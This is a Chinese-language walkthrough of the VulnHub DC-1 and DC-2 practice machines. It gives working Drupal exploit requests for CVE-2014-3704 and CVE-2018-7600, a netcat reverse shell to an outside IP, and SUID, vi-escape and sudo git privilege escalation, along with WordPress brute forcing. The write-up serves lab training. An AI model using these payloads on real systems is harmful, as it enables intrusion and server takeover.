1. DC-1
下载地址: https://download.vulnhub.com/
VMware导入之后,注意切换网络环境为nat,然后直接扫描C段即可发现靶机。
fscan可直接发现漏洞。
存在两个前台漏洞,通过查看poc文件,可以构造POST包。
CVE-2014-3704
POST /?q=node&destination=node HTTP/1.1
Host: 192.168.29.143
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0x23,concat(1,user()),1)%23]=bob&name[0]=a
由于Drupal密码带盐,SQL注入似乎没那么有用。但是这是个PDO注入,支持堆叠,可以直接修改管理员密码,到了后台Drupal也有诸多CVE可供利用。
除此之外,还可以在menu_router表中插入一个恶意路由来直接getshell,详情见。
https://www.secpulse.com/archives/1579.html
POST /?q=node&destination=node HTTP/1.1
Host: 192.168.29.143
Content-Type: application/x-www-form-urlencoded
Content-Length: 302
pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0;INSERT INTO `menu_router` (`path`, `page_callback`, `access_callback`, `include_file`,`load_functions`,`to_arg_functions`, `description`) values ('<?php phpinfo();?>','php_eval', '1', 'modules/php/php.module','','','');#]=bob&name[0]=a
http://192.168.29.143/?q=%3C?php%20phpinfo();?%3E
CVE-2018-7600
这个漏洞用POC还原出来是这样的。
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Host: 192.168.29.143
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=printf&mail[#type]=markup&mail[#markup]=8%%8
但POC对8%%8进行检测是错误的,实际上返回包中的8%%8并不是由printf打印出来的,而是反射在input表单中。
https://paper.seebug.org/567/
根据这篇文章,Drupal 7是不存在此漏洞的。不过我在其他地方找到了另外一种攻击方式。
POST /?q=user%2Fpassword&name%5B%23post_render%5D%5B%5D=passthru&name%5B%23markup%5D=id&name%5B%23type%5D=markup HTTP/1.1
Host: 192.168.29.143
Content-Length: 47
Content-Type: application/x-www-form-urlencoded
form_id=user_pass&_triggering_element_name=name
获取form_build_id。
POST /?q=file/ajax/name/%23value/form-cOFuhA8Mdm0-BdfXEc5GSJFI-eBBCH8B16cjxgWgHys HTTP/1.1
Host: 192.168.29.143
Content-Length: 62
Content-Type: application/x-www-form-urlencoded
form_build_id=form-cOFuhA8Mdm0-BdfXEc5GSJFI-eBBCH8B16cjxgWgHys
即可执行任意代码。
getshell之后可获取第一个flag1.txt
还有/home/flag4/flag4.txt可以直接看到。
熟悉的find SUID提权。
find / -user root -perm -4000 -print 2>/dev/null
有nc,直接用nc反弹shell。
nc -t -e /bin/sh 2.2.2.2 5667
cd /tmp;touch xxx
find xxx -exec whoami ;
find xxx -exec /bin/sh ;
因为不熟悉此类靶机的flag套路,后续翻答案发现,flag1的内容提示让你找配置文件。Drupal的配置文件位于/var/www/sites/default/settings.php
里面有个flag2,提示不要暴力破解。我们知道了Drupal的加密带盐,那么其实就是提示Drupal的某个账户登录进去有flag3,不能暴力破解就只能替换密文。
那么登录数据库发现两个账户。
admin这个已经被我们尝试CVE-2014-3704时改成thanks了。
update users set pass='$S$DkIkdKLIvRK0iVHm99X7B/M8QC17E1Tp/kMOd1Ie8V/PgWjtAZld' where uid = 1;
admin/thanks登录即可。
具体提示内容就是find SUID提权。
当然,这种都是存储在数据库里的,仔细翻一下在field_data_body表和node表也能找到,也可以取巧不修改密码。
2. DC-2
80端口跳转http://dc-2/,所以需要改hosts。
一眼WordPress,首页就有个flag1作为提示。
又是关于爆破的,对于WordPress的渗透,基本只依赖wpscan。
wpscan –url http://dc-2/ –enumerate u
搁这猫和老鼠是吧,根据提示,搜了下cewl,是一个爬虫生成字典,用生成的字典爆破成功。
cewl http://dc-2/ -w dict.txt
wpscan –url http://dc-2/ -P dict.txt -U user.txt
用jerry登录后发现flag2
http://dc-2/wp-login.php
意思就是WP的exp就别想啦,确实这个系统早年经历过多轮轰炸,无法找到很直接的漏洞,即使后台漏洞都很难找到,大部分问题都集中在弱口令和插件上。
不过这个系统版本为4.7.10,我们有可以发文章的普通用户权限,可以很容易想到<= 4.9.6任意文件删除漏洞(CVE-2018-12895/CVE-2019-8943),但实际因为linux本地文件权限问题而无法利用。
于是仔细扫了下端口,发现7744是ssh端口,利用tom/parturient登录成功,发现flag3。
但是由于rbash限制,绝大部分命令无法使用,利用vi逃逸。
vi flag3.txt
:set shell=/bin/bash
:shell
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
然后提权,但其实jerry的flag4用tom权限也可以直接看到。
熟悉的SUID,锁定了exim4
确定版本去kali上找提权脚本
exim4 –version
searchsploit exim 4.8
但实际上并无法成功,exim提权主要是CVE-2016-1531(39535.sh)和CVE-2019-10149(46996.sh)。仔细搜索后发现CVE-2016-1531要求Exim必须perl编译,提权方式也是利用环境变量执行perl脚本。而CVE-2019-10149则要求更高的版本,在以后的DC-8中有应用。不过exim存在相当多的历史溢出漏洞,很可能真的存在溢出提权。
查看ssh配置文件,发现只有tom用户。
cat /etc/ssh/sshd_config
那么jerry的密码可能也是对的,只不过没配置ssh。
su jerry
adipiscing
成功切换到jerry,靶机提权永远是SUID和sudo -l,这题也不例外。
参考git的SUID提权方法。
sudo git help status
!/bin/bash
原文始发于微信公众号(珂技知识分享):DC系列靶机(1-2)